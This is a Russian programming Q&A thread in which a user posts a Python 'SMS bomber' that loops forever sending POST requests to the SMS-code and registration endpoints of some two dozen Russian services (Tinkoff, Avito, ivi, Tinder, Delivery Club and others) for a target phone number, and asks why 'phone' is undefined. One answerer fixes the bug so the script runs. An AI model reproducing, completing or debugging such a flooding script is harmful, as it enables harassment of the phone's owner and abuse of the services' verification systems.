@JewrySoft

Почему выходит ошибка, хотя при другом коде все ок?

def send_for_number(phone):
        request_timeout = 0.00001
        requests.post('https://koronapay.com/transfers/online/api/users/otps',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'koronapay.com', 'origin':'https://koronapay.com','Referer':'https://koronapay.com/transfers/online/login'})

        requests.post('https://rutube.ru/api/accounts/sendpass/phone?phone=%2B79195346628',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'rutube.ru', 'origin':'https://rutube.ru','Referer':'https://rutube.ru/'})

        requests.post('https://api.ivi.ru/mobileapi/user/register/phone/v6/',
        data = {"phone":"7" + phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ivi.ru', 'origin':'https://www.ivi.ru/','Referer':'https://www.ivi.ru/profile'})

        requests.post('https://register.sipnet.ru/cgi-bin/exchange.dll/RegisterHelper?oper=9&phone=79821432646',
        data = {"phone":phone,"oper":"9"},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'register.sipnet.ru', 'origin':'https://www.sipnet.ru/','Referer':'https://www.sipnet.ru/tarify-ip-telefonii'})

        requests.post('https://api.chef.yandex/api/v2/auth/sms',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.chef.yandex', 'origin':'https://chef.yandex/','Referer':'https://chef.yandex/login'})

        requests.post('https://api.tinkoff.ru/v1/sign_up?origin=web%2Cib5%2Cplatform&sessionid=RznyziZkeagDbs6SLIr13ZlfSjusxJbQ.m1-prod-api26&wuid=31ad89052c4944fd8cd55bcf419eefc1',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.tinkoff.ru', 'origin':'https://www.tinkoff.ru','Referer':'https://www.tinkoff.ru/login/'})

        requests.post('https://api.tinkoff.ru/v1/sign_up?origin=web%2Cib5%2Cplatform&sessionid=RznyziZkeagDbs6SLIr13ZlfSjusxJbQ.m1-prod-api26&wuid=31ad89052c4944fd8cd55bcf419eefc1',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.tinkoff.ru', 'origin':'https://www.tinkoff.ru','Referer':'https://www.tinkoff.ru/login/'})

        requests.post('https://smart.space/api/users/request_confirmation_code/',
        data = {"action":"confirm_mobile","mobile":"a"},
        headers =  {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'})

        requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru',
        data = {"phone_number":"7" + phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'})

        requests.post('https://api-user.privetmir.ru/api/send-code',
        data = {"back_url":"/register/step-2/","scope":"register-user","login":phone,"checkExist":"Y","checkApproves":"Y","approve1":"on","approve2":"on"},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api-user.privetmir.ru', 'origin':'https://privetmir.ru/','Referer':'https://privetmir.ru/register/'})

        requests.post('https://online.sbis.ru/reg/service/?x_version=19.412.b-40',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'online.sbis.ru', 'origin':'https://online.sbis.ru','Referer':'https://online.sbis.ru/auth/?ret=%2F&tab=register&regType=personal'})

        requests.post('https://api.sunlight.net/v3/customers/authorization/',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.sunlight.net', 'origin':'https://sunlight.net/','Referer':'https://sunlight.net/profile/login/?next=/profile/'})

        requests.post('https://radugavkusaufa.ru/?action=auth&act=132',
        data = {"CSRF":"","ACTION":"REGISTER","MODE":"PHONE","PHONE":"7" + phone,"PASSWORD":"791911534661128","PASSWORD2":"791911534661128"},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'radugavkusaufa.ru', 'origin':'https://radugavkusaufa.ru','Referer':'https://radugavkusaufa.ru/'})

        requests.post('https://beta.delivery-club.ru/api/user/otp',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'beta.delivery-club.ru', 'origin':'https://beta.delivery-club.ru','Referer':'https://beta.delivery-club.ru/entities/food?authPopupOpened=1'})

        requests.post('https://api.ennergiia.com/auth/api/development/lor',
        data = {"phone":phone,"referrer":"ennergiia","via_sms":"true"},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ennergiia.com', 'origin':'https://www.ennergiia.com','Referer':'https://www.ennergiia.com/auth'})

        requests.post('https://youla.ru/web-api/auth/request_code',
        data = {"phone":"7" + phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'youla.ru', 'origin':'https://youla.ru','Referer':'https://youla.ru/surgut'})

        requests.post('https://ostin.com/ru/ru/secured/myaccount/myclubcard/resultClubCard.jsp?type=sendConfirmCode&phoneNumber=%207%20(982)143-26-46',
        data = {"phoneNumer":"7" + phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'ostin.com', 'origin':'https://ostin.com/','Referer':'https://ostin.com/'})

        requests.post('https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506',
        data = {"REGISTER_PHIS[LOGIN]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[PHONE]":"a","REGISTER_PHIS[PASSWORD]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[RULES]":"Y"},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'www.maxidom.ru', 'origin':'https://www.maxidom.ru/','Referer':'https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506'})

        requests.post('https://api.mtstv.ru/v1/users',
        data = {"msisdn":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.mtstv.ru', 'origin':'https://www.mtstv.ru','Referer':'https://www.mtstv.ru/?popup=auth&tab=reg'})

        requests.post('https://app.karusel.ru/api/v1/phone/',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'app.karusel.ru', 'origin':'https://karusel.ru','Referer':'https://karusel.ru/registration'})

        requests.post('https://client.taximaxim.com/site/send-code/?type=0',
        data = {"_csrf":"SuyaDpUnfWWvTkF8GytL1zAJqUUvLMc_SUXaEGhXsoQa2tJvwF8nC_YJEQpaHhKkVGCRIhljrggQJ4ljCW-G4Q==","LoginForm[org]":"maxim","LoginForm[country]":"ru","LoginForm[baseId]":"11","LoginForm[phone]":phone,"LoginForm[code]":"","LoginForm[agree]":"0"},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'client.taximaxim.com', 'origin':'https://client.taximaxim.com','Referer':'https://client.taximaxim.com/login/'})

        requests.post('https://www.avito.ru/code/request',
        data = {"phone":phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'avito.ru', 'origin':'https://www.avito.ru','Referer':'https://www.avito.ru/code/request#registration'})

        requests.post('https://b.utair.ru/api/v1/login/',
        data = {"phone":"7" + phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'utair.ru', 'origin':'https://www.utair.ru','Referer':'https://www.avito.ru/code/request#registration'})

        requests.post('https://b.utair.ru/api/v1/login/',
        data = {"phone":"7" + phone},
        headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'utair.ru', 'origin':'https://www.utair.ru','Referer':'https://b.utair.ru/api/v1/'})
def sendprono():
    try:
        print(post(url,data=data,headers=headers))
    except:
        print("<Request Error>")
while True:
    send_for_number(phone)
    print("Good sending!")


Почему в этом коде ошибка
name 'phone' is not defined
Хотя у меня при другом коде все ок
  • Вопрос задан
  • 104 просмотра
Решения вопроса 1
alexkomp
@alexkomp
Простота — залог надежности.
Ошибка в том, что переменная phone при вызове функции не имеет значения
вот так:
send_for_number(phone)

Добавьте значение переменной phone перед вызовом функции
например так:
phone = 1451 #передаём значение переменной phone
send_for_number(phone)
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
dimonchik2013
@dimonchik2013
жизнь прекрасна в Амстердаме, а в Воронеже gаvно
товарисч упорный

следующий вопрос, видимо, будет про номер телефона
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
15 нояб. 2019, в 01:36
10000 руб./за проект
15 нояб. 2019, в 01:32
5000 руб./за проект